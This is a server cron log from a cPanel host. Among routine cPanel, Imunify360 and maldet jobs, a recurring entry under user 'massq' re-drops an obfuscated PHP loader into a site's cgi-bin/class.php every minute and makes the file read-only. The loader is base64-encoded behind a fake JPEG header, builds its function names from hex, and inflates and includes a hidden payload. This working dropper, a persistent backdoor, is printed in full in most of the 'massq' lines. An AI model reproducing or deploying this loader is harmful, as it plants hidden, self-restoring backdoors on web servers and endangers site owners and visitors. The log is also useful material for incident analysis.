Sep 10 01:50:02 server CROND[2915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:50:02 server CROND[2919]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 01:50:02 server CROND[2916]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:50:02 server CROND[2925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:50:02 server CROND[2922]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:51:01 server CROND[3740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:51:01 server CROND[3741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:51:01 server CROND[3742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:52:01 server CROND[4137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:52:01 server CROND[4138]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:52:01 server CROND[4139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:53:01 server CROND[4614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:53:01 server CROND[4615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:53:01 server CROND[4616]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:54:01 server CROND[4993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:54:01 server CROND[4994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:54:01 server CROND[4995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:55:01 server CROND[5376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:55:01 server CROND[5382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:55:01 server CROND[5384]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 01:55:01 server CROND[5383]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:55:01 server CROND[5388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:55:01 server CROND[5385]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:55:01 server CROND[5389]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 01:56:01 server CROND[6215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:56:01 server CROND[6216]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:56:01 server CROND[6217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:57:01 server CROND[6607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:57:01 server CROND[6609]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:57:01 server CROND[6610]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 01:57:01 server CROND[6611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:58:01 server CROND[7082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:58:01 server CROND[7083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:58:01 server CROND[7084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:59:01 server CROND[7469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:59:01 server CROND[7470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:59:01 server CROND[7471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:00:01 server CROND[7867]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:00:01 server CROND[7869]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 02:00:01 server CROND[7871]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 02:00:01 server CROND[7872]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:00:01 server CROND[7876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:00:01 server CROND[7880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:00:01 server CROND[7872]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:00:01 server CROND[7876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:00:01 server CROND[7880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:00:01 server CROND[7872]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
